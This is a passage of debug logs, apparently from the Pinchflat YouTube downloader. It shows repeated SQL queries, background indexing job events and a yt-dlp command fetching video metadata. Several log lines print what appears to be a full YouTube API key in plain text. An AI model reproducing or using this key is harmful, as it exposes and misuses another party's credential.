m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "YJYGJQeq9XA", "bMMG9TqH7Cg", "ivwGdPaEKgw", "MSim6wHctJs", "a-pw6MLvxG4", "iJFXHSikXAw", "cX4nq3oWHEs", "sx0pL-IG9ZY", "I18RjNvKBb0", "w3xqsMv6T_k", "UJLnAxofL4w", "461UOs0Bvpo", "eeeIX-jPCfU", "I_dqiK6FEUw", "1F0KOBiLPJY", "GOY1nrnGFoQ", "49AR2G__gbY", "moBfszFIlZU", "ooneAa4P_DI", "5qJ4lBwxSHs", "EGIq02dD1_o", "ud56dWtJZuI", "wQxngUFOoqY", "Moi8q2spry8", "tdkSl_8BMDM", "3gZQa8wvPyQ", "A-WuDVu8Aec", "inZfAQX-ikk", "A5fjsYyBYeM", "RHbqw8PpDrk", "9BfpQaUdIKA", "vS959lEUED0", "3HO-1R_ye40", "cWrGe7BDnHY", "Hih6I3DOPZQ", "BMNtRwFDB6s", "3IzWVKqW8LA", "1OJcqhrA0aE", "xfk3OnaKJRU", "W5PifMAnoJY", "zR4OJ9_S5mU", "KWWxrVzMk-s", "WNGbL6zTXg0", "XnuH8t5MmWU", "zNYsw-cW8v8", "vq4TbSxK0P0", "pgCBgctN_VU", "2SM3dlbe2S8", "vwLSANJYMf4", ...] 16:27:53.838 [debug] QUERY OK source="media_items" db=2.3ms idle=189.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 16:27:53.838 [debug] QUERY OK source="tasks" db=0.1ms idle=192.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268245, 7, ~U[2026-10-09 21:27:53Z], ~U[2026-10-09 21:27:53Z]] 16:27:53.839 [info] {"args":{"id":7},"id":5268205,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":193687,"event":"job:stop","queue_time":488873,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:54.022 [debug] QUERY OK source="media_items" db=0.6ms idle=183.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "hsY3IJVKOcw", "a0YlDUdNjqc", "62hl5tFrodQ", "gStpYu84aRQ", "uKW8Td2gynY", "TpU_mB8MO4k", "EzkSQzP0ExQ", "kCuY95F6R40", "Xu7wneIzhPM", "IzNFKW9EIuA", "sZ1xZHqxah4", "55BSBuorfhQ", "Aw2XEiN1VNY", "IiH_inHowI8", "2uqbR-ntKdE", "0aa6XyEQgFY", "fMN1zdsyVTg", "vjcS8RKa194", "ocYp07IRgxQ", "_9adBz4FN5Y", "IYDwHD9p_qQ", "aSYbsUlefuk", "CZY_iUWtd5Y", "r3zmwPNRdPc", "_ZAEcUvqFnk", "ba1BfC-NO7s", "3gg3-t2CUn4", "pAwv29cLSq0", "GzJ7TaJIhhs", "Bc5RIeIjZT8", "t9XtC85e-tQ", "InaGX4XhPk0", "HSVmPi_p_GQ", "3Bp8fDX_9pY", "2xy8vg2WLz4", "bG0VnCUZm-s", "NIDy6_QXX-E", "Lhoi-gx3O9I", "6jLIm8Bt2dA", "8rf4YP-OlFs", "llaLuaNTA-Q", "QhxZ2JujRLs", "MEdMneWCqFA", "t0kErQN5pbM", "K7j9ONAplwY", "4rEcECZeyoE", "RwIhXqA7tQg", "_v18JX0Nwvk", "kZR4QlyyBO4", ...] 16:27:54.025 [debug] QUERY OK source="media_items" db=1.4ms idle=184.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 16:27:54.025 [debug] QUERY OK source="tasks" db=0.1ms idle=180.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268246, 25, ~U[2026-10-09 21:27:54Z], ~U[2026-10-09 21:27:54Z]] 16:27:54.025 [info] {"args":{"id":25},"id":5268206,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":380553,"event":"job:stop","queue_time":233115,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:54.646 [info] {"args":{"id":38},"id":5268207,"meta":{},"system_time":1791581274646240337,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:54.646 [debug] QUERY OK source="sources" db=0.1ms idle=620.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 16:27:54.646 [debug] QUERY OK source="settings" db=0.0ms idle=620.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:54.646 [debug] QUERY OK source="media_profiles" db=0.0ms idle=614.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:54.647 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:54.647 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 16:27:54.647 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:54.647 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:54.841 [debug] QUERY OK source="media_items" db=0.5ms idle=193.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "RFdUqYYAok4", "d4OvQ3ab3LU", "2zW3Yfqguqo", "TliajZWaa6w", "KxPnKhHwTss", "CNXmT6_AgYI", "9MeAJILthTI", "Sa3rM0oMmII", "XI57UTwhiHk", "ViBIKuIjePA", "wk-5m6cDEFg", "0Tot2YHwYNw", "vXMKnG6EI-o", "qj89Pt8CG8Y", "0IEv_NJo28w", "jmg3WF44TX4", "dFAjDGLGGdo", "1YcOlzRT5fI", "kZRvqOLkYT8", "1Z7bFTHQVLE", "6bKxtOkucuE", "8W8aD92ICuA", "i302110skWk", "13rEmidnw4A", "-X2v_sQA-j0", "L0rHhCEKvgo", "nYD-kE0bAY4", "XUlR2DVedTg", "l2X92jlagKg", "1igbvUoJcP8", "7514uMl2EX0", "I3mHsRo707I", "fUxEAMiqGYY", "mD4HUXQMG2U", "f3q2mXFrACc", "g8YEYPROiwk", "slWVHwC-XHc", "iBfyeFSpPXU", "9kBUy4NgMAI", "cljD9rspFsA", "IM1njZ0AuP8", "gW-kYYBK5t4", "tobDwFmXHwQ", "8U8zEXmqpRI", "_E049Xhgah4", "Iwzmx_EyHJI", "TRMxPhMhq70", "FHvAe63pYvM", "IKVwG8AizeA", ...] 16:27:54.843 [debug] QUERY OK source="media_items" db=2.1ms idle=194.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 16:27:54.844 [debug] QUERY OK source="tasks" db=0.1ms idle=197.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268247, 38, ~U[2026-10-09 21:27:54Z], ~U[2026-10-09 21:27:54Z]] 16:27:54.844 [info] {"args":{"id":38},"id":5268207,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":198405,"event":"job:stop","queue_time":160509,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:28:00.394 [info] {"source":"oban","duration":148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:14.641 [info] {"source":"oban","duration":10735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":12} 16:28:43.695 [info] {"args":{"id":42},"id":5268208,"meta":{},"system_time":1791581323695155804,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:28:43.695 [debug] QUERY OK source="sources" db=0.1ms idle=1001.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 16:28:43.695 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:28:43.695 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:28:43.696 [debug] QUERY OK source="settings" db=0.5ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:28:43.696 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 16:28:43.696 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:28:43.696 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:28:43.770 [debug] QUERY OK source="media_items" db=0.2ms idle=75.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?)) [42, "eF6hxEXwgso", "Wzir-lrTI9A", "JAvHibORZ50", "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 16:28:43.771 [debug] QUERY OK source="settings" db=0.0ms idle=75.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:28:43.771 [debug] QUERY OK source="settings" db=0.0ms idle=75.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:28:43.771 [debug] Running yt-dlp command for action: get_media_attributes 16:28:43.771 [debug] QUERY OK source="settings" db=0.0ms idle=75.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:28:43.771 [debug] QUERY OK source="settings" db=0.0ms idle=75.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:28:43.772 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:28:43.772 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/17/59/1759c871e1063a42719d22d4994880da3e4d8e5659a1cc560e5dd758ed732f02.json --sleep-requests 79 --sleep-interval 73 --sleep-subtitles 67 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:28:44.653 [info] {"source":"oban","duration":10157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":3} 16:29:00.395 [info] {"source":"oban","duration":192,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:14.663 [info] {"source":"oban","duration":10095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:29:44.674 [info] {"source":"oban","duration":9990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":13} 16:29:54.770 [info] {"args":{"id":14},"id":5268209,"meta":{},"system_time":1791581394770740399,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:29:54.771 [debug] QUERY OK source="sources" db=0.1ms idle=1076.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 16:29:54.771 [debug] QUERY OK source="settings" db=0.0ms idle=1077.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:29:54.771 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:29:54.771 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:29:54.771 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 16:29:54.771 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:29:54.771 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:29:55.017 [debug] QUERY OK source="media_items" db=0.6ms idle=245.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "uMhdcq2rqUU", "E5p4TgCNd1I", "NS1Qlu1JTOs", "Nx6ThYgEtg8", "yTD_VbxleZU", "AR-F8Ttpld8", "XQNhCU17ipM", "Hj_yRDR9EzE", "9KwLFC6RDGk", "qz9DvI-NY6k", "oCez-4XUoew", "5bsI3M44NWo", "AVd3ds5U2xc", "NQGYqypeUOs", "-SSI6E5QCOw", "j43j9iwU158", "-mKb75P7wT0", "mWFKVqtAkeI", "qUVsX49fNFw", "b1huB4CSzks", "bMPgRlgcJcE", "ssavPVf6JvE", "mrcnQu6Xfas", "W5fK8BmgBow", "3lJ5oT_JviI", "TpVM45JNupQ", "oMUaZsvJQVQ", "xVm6_IIrHc4", "XXrCAC6bUsk", "Y4IJxO518mI", "DsfsZQjOfu0", "1i8a24si74Y", "E2KfkGF77uo", "-iwvu0uozhs", "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", ...] 16:29:55.019 [debug] QUERY OK source="media_items" db=1.6ms idle=246.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 